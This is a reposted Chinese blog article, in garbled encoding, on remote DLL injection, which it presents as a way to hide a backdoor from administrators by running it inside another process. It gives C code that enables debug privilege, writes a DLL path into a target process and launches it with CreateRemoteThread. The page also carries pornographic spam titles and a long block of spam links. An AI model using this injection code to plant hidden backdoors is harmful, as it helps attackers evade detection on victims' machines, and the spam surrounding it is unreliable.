青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

飛天

快樂(lè)的生活......

 

[轉(zhuǎn)]遠(yuǎn)程注入DLL 詳細(xì)介紹

    遠(yuǎn)程注入DLL
沒(méi)錯(cuò),現(xiàn)在討論的就是傳說(shuō)中的遠(yuǎn)程注入技術(shù),目前一種非常流行的隱藏技術(shù),因?yàn)樗鼪](méi)有進(jìn)程,而前面討論的兩種方法都會(huì)有進(jìn)程出現(xiàn),因此,有經(jīng)驗(yàn)的管理員很容易發(fā)現(xiàn),然后先殺進(jìn)程,在找出后門文件刪除。要實(shí)現(xiàn)遠(yuǎn)程注入,我們要編寫兩個(gè)程序,一個(gè)是后門文件,這里不是把它寫成.exe文件,而是寫成.dll文件,在這里先說(shuō)一下.dll文件,.dll文件,其實(shí)就是動(dòng)態(tài)連接庫(kù),它里面裝封了提供.exe文件調(diào)用的函數(shù),一般情況下,雙擊它,是不能運(yùn)行它的,它只能由.exe來(lái)調(diào)用,于是就有了遠(yuǎn)程注入了,原理很簡(jiǎn)單:我們把后門的主要功能寫成一個(gè)函數(shù),然后裝封到.dl文件中,然后再另外寫一個(gè)執(zhí)行文件來(lái)啟動(dòng)它,這樣就不會(huì)有后門的進(jìn)程了。那遠(yuǎn)程注入又指什么呢?這個(gè)問(wèn)題問(wèn)得好,一般情況下,每個(gè)進(jìn)程都有自己的私有空間,理論上,別的進(jìn)程是不允許對(duì)這個(gè)私人空間進(jìn)行操作的,但是,我們可以利用一些方法進(jìn)入這個(gè)空間并進(jìn)行操作,將自己的代碼寫入正在運(yùn)行的進(jìn)程中,于是就有了遠(yuǎn)程注入了。
對(duì)dll后門的編寫就不作過(guò)多的討論了,現(xiàn)在來(lái)看實(shí)現(xiàn)注入功能的可執(zhí)行文件的編寫:
用到的函數(shù)有:
OpenProcessToken();
LookupPrivilegeValue();
AdjustTokenPrivileges();
OpenProcess();
VirtualAllocEx();
WriteProcessMemory();
GetProcAddress();
CreateRemoteThread();

先簡(jiǎn)單的介紹以下這些函數(shù)的作用,因?yàn)槲覀円僮鞯氖窍到y(tǒng)中的其他進(jìn)程,如果沒(méi)有足夠的系統(tǒng)權(quán)限,我們是無(wú)法寫入甚至連讀取其它進(jìn)程的內(nèi)存地址的,所以我們就需要提升自己的權(quán)限,用到以下3個(gè)函數(shù)
OpenProcessToken();  //打開(kāi)進(jìn)程令牌
LookupPrivilegeValue();//返回一個(gè)本地系統(tǒng)獨(dú)一無(wú)二的ID,用于系統(tǒng)權(quán)限更改
AdjustTokenPrivileges();//從英文意思也能看出它是更改進(jìn)程權(quán)限用的吧?

進(jìn)入宿主進(jìn)程的內(nèi)存空間
在擁有了進(jìn)入宿主進(jìn)程空間的權(quán)限之后,我們就需要在其內(nèi)存加入讓它加載我們后門的代碼了,用LoadLibraryA()函數(shù)就可以加載我們的DLL了,它只需要DLL文件的路徑就可以了,在這里我們要把DLL文件的路徑寫入到宿主的內(nèi)存空間里,因?yàn)镈LL的文件路徑并不存在于宿主進(jìn)程內(nèi)存空間了,用到的函數(shù)有:
OpenProcess();//用于修改宿主進(jìn)程的一些屬性,詳細(xì)參看MSDN
VirtualAllocEx();//用于在宿主內(nèi)存空間中申請(qǐng)內(nèi)存空間以寫入DLL的文件名
WriteProcessMemory();//往申請(qǐng)到的空間中寫入DLL的文件名

在宿主中啟動(dòng)新的線程
用的是LoadLibraryA()函數(shù)來(lái)加載,但在使用LoadLibraryA()之前必須知道它的入口地址,所以用GetProcAdress來(lái)獲得它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()函數(shù)來(lái)啟動(dòng)新的線程了,到次,整個(gè)注入過(guò)程完成,不過(guò)還不非常完善,這就留給聰明的你來(lái)完成了;)。
簡(jiǎn)單的例子:
#include "stdafx.h" 

int EnableDebugPriv(const char * name) 

    HANDLE hToken; 
    TOKEN_PRIVILEGES tp; 
    LUID luid; 
    
//打開(kāi)進(jìn)程令牌環(huán) 
    OpenProcessToken(GetCurrentProcess(), 
                    TOKEN_ADJUST_PRIVILEGES
|TOKEN_QUERY, 
                    
&hToken); 
    
//獲得進(jìn)程本地唯一ID 
    LookupPrivilegeValue(NULL,name,&luid) 
     
    tp.PrivilegeCount 
= 1
    tp.Privileges[
0].Attributes = SE_PRIVILEGE_ENABLED; 
    tp.Privileges[
0].Luid = luid; 
    
//調(diào)整權(quán)限 
    AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL); 
    
return 0
}
 

BOOL InjectDll(
const char *DllFullPath, const DWORD dwRemoteProcessId) 

    HANDLE hRemoteProcess; 
    EnableDebugPriv(SE_DEBUG_NAME) 
    
//打開(kāi)遠(yuǎn)程線程 
    hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允許遠(yuǎn)程創(chuàng)建線程PROCESS_VM_OPERATION | //允許遠(yuǎn)程VM操作 
                            PROCESS_VM_WRITE,//允許遠(yuǎn)程VM寫 
                            FALSE, dwRemoteProcessId ); 
    
char *pszLibFileRemote; 
    
//使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名空間 
    pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, lstrlen(DllFullPath)+1
                            MEM_COMMIT, PAGE_READWRITE); 
    
//使用WriteProcessMemory函數(shù)將DLL的路徑名寫入到遠(yuǎn)程進(jìn)程的內(nèi)存空間 
    WriteProcessMemory(hRemoteProcess, 
                pszLibFileRemote, (
void *) DllFullPath, lstrlen(DllFullPath)+1, NULL); 
    
//計(jì)算LoadLibraryA的入口地址 
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
            GetProcAddress(GetModuleHandle(TEXT(
"Kernel32")), "LoadLibraryA"); 

    
//啟動(dòng)遠(yuǎn)程線程LoadLibraryA,通過(guò)遠(yuǎn)程線程調(diào)用創(chuàng)建新的線程 
    HANDLE hRemoteThread; 
    
if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL) 
    

        printf(
"CreateRemoteThread error!\n"); 
        
return FALSE; 
    }
 

    
return TRUE; 
}
 

int APIENTRY WinMain(HINSTANCE hInstance, 
                     HINSTANCE hPrevInstance, 
                     LPSTR     lpCmdLine, 
                     
int       nCmdShow) 

    InjectDll(
"c:\zrqfzr.dll",3060//這個(gè)數(shù)字是你想注入的進(jìn)程的ID號(hào) 
    return 0
}
 

posted on 2007-08-12 10:52 飛天 閱讀(3036) 評(píng)論(0)  編輯 收藏 引用 所屬分類: C/C++

導(dǎo)航

統(tǒng)計(jì)

常用鏈接

留言簿(2)

隨筆分類

隨筆檔案

文章分類

文章檔案

Blogs

搜索

最新評(píng)論

閱讀排行榜

評(píng)論排行榜

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美性猛交一区二区三区精品| 男女精品网站| 亚洲一区黄色| 91久久精品久久国产性色也91 | 欧美天堂亚洲电影院在线播放| 美女主播一区| 欧美激情a∨在线视频播放| 免费在线观看一区二区| 午夜亚洲福利在线老司机| 欧美大片免费观看| 欧美韩国在线| 国产精品成人一区二区三区吃奶| 欧美日韩一区二区三区在线观看免| 欧美日韩午夜视频在线观看| 国产精品视频一| 精品粉嫩aⅴ一区二区三区四区| 国内精品视频在线播放| 亚洲第一天堂无码专区| 一二美女精品欧洲| 韩国一区二区三区在线观看| 亚洲第一二三四五区| 亚洲伦理网站| 篠田优中文在线播放第一区| 麻豆亚洲精品| 亚洲香蕉网站| 亚洲国产欧美不卡在线观看| 日韩视频免费看| 香蕉av777xxx色综合一区| 久久综合999| 亚洲美女av黄| 久久久高清一区二区三区| 欧美成年人网| 国产日韩欧美一区二区三区四区| 日韩视频一区二区| 欧美一区影院| 亚洲国产高清aⅴ视频| 国产精品99久久久久久久vr| 久久全球大尺度高清视频| 欧美日韩在线观看一区二区三区 | 欧美激情一区二区| 国产主播一区| 亚洲主播在线观看| 欧美电影在线| 亚洲欧洲99久久| 欧美日韩精品免费看| 尤物精品国产第一福利三区| 亚洲欧美欧美一区二区三区| 亚洲福利视频一区| 亚洲区国产区| 久久精品综合| 亚洲一区在线免费观看| 欧美绝品在线观看成人午夜影视| 精品91视频| 久久国产日韩| 亚洲永久免费精品| 国产精品xxxav免费视频| 亚洲二区在线视频| 亚洲二区在线| 久热re这里精品视频在线6| 国产伦精品一区二区三区| 亚洲色图制服丝袜| 亚洲精品久久视频| 欧美极品aⅴ影院| 亚洲精品免费网站| 亚洲高清三级视频| 欧美成人高清视频| 亚洲精品免费网站| 亚洲人成网站在线观看播放| 久久综合色8888| 亚洲国产成人在线播放| 免费成人激情视频| 久久亚洲精品欧美| 亚洲国产精品久久久久秋霞蜜臀 | 欧美一级视频免费在线观看| 国产精品资源| 欧美在线影院在线视频| 亚洲一区二区在线免费观看视频| 国产精品久久久久婷婷| 欧美日韩国语| 欧美成人蜜桃| 99精品久久久| 亚洲一区二区三区精品在线观看 | 欧美—级高清免费播放| 99精品久久| 亚洲最快最全在线视频| 国产精品中文字幕欧美| 快播亚洲色图| 欧美精品日韩综合在线| 亚洲午夜一区二区| 欧美在线免费看| 亚洲国产日韩一区| 亚洲精品裸体| 国产午夜一区二区三区| 国产亚洲一级高清| 欧美激情中文不卡| 欧美午夜免费电影| 久久久噜噜噜| 欧美噜噜久久久xxx| 午夜一区二区三区在线观看| 久久久精品2019中文字幕神马| 亚洲国产高清一区二区三区| 日韩一区二区免费高清| 老鸭窝亚洲一区二区三区| 亚洲国产导航| 国产精品亚洲网站| 欧美顶级少妇做爰| 国产精品丝袜xxxxxxx| 牛牛国产精品| 国产精品视频福利| 欧美国产一区二区| 国产精品久久久久久户外露出| 久久先锋影音av| 欧美系列亚洲系列| 久久中文字幕一区| 欧美精品日韩综合在线| 欧美中文在线观看国产| 欧美成人免费大片| 久久九九精品99国产精品| 欧美精品电影| 欧美sm重口味系列视频在线观看| 一本色道久久综合| 亚洲国产精品一区二区www在线 | 亚洲欧美日韩天堂一区二区| 免费高清在线一区| 欧美在线影院在线视频| 欧美日韩综合网| 亚洲啪啪91| 亚洲高清视频的网址| 欧美一级理论性理论a| 亚洲综合三区| 国产精品香蕉在线观看| 99国产麻豆精品| 日韩午夜在线观看视频| 欧美国产精品日韩| 亚洲国产欧美日韩精品| 亚洲人成网站在线观看播放| 久久视频在线免费观看| 久久久久亚洲综合| 国产一区二区成人久久免费影院| 亚洲在线免费观看| 午夜精品av| 国产欧美69| 欧美一区视频| 美日韩精品视频| 亚洲国产日韩欧美| 欧美激情2020午夜免费观看| 亚洲人成在线影院| 一区二区三区视频在线观看| 欧美日本免费一区二区三区| 亚洲精选91| 亚洲主播在线| 国一区二区在线观看| 91久久久在线| 免费欧美在线视频| 国产一区二区福利| 久久噜噜亚洲综合| 老妇喷水一区二区三区| 亚洲第一视频网站| 久久男女视频| 欧美成人免费网站| 欧美日韩国产黄| 国产精品人人爽人人做我的可爱| 销魂美女一区二区三区视频在线| 免费美女久久99| 欧美激情视频给我| 亚洲国产日韩在线一区模特| 欧美成人一区在线| 亚洲一区免费网站| 欧美一区二区私人影院日本| 国产女主播一区二区| 欧美诱惑福利视频| 亚洲片国产一区一级在线观看| 在线亚洲美日韩| 国产精品免费网站在线观看| 亚洲国产精品久久久| 欧美一区二区三区久久精品| 国产欧美韩日| 欧美中文在线观看国产| 午夜综合激情| 亚洲欧洲另类国产综合| 欧美精品日韩| 亚洲欧美国产va在线影院| 午夜亚洲精品| 久久九九99| 亚洲国产高清在线| 亚洲深夜福利| 亚洲高清av| 国产精品国产三级国产专区53 | 噜噜噜久久亚洲精品国产品小说| 欧美激情二区三区| 一区二区欧美日韩| 国产三级欧美三级日产三级99| 日韩午夜免费视频| 欧美在线一二三四区| 一区二区三区**美女毛片| 国产精品亚洲综合色区韩国| 久久免费国产精品| 亚洲视频999| 亚洲狼人综合| 美女网站久久|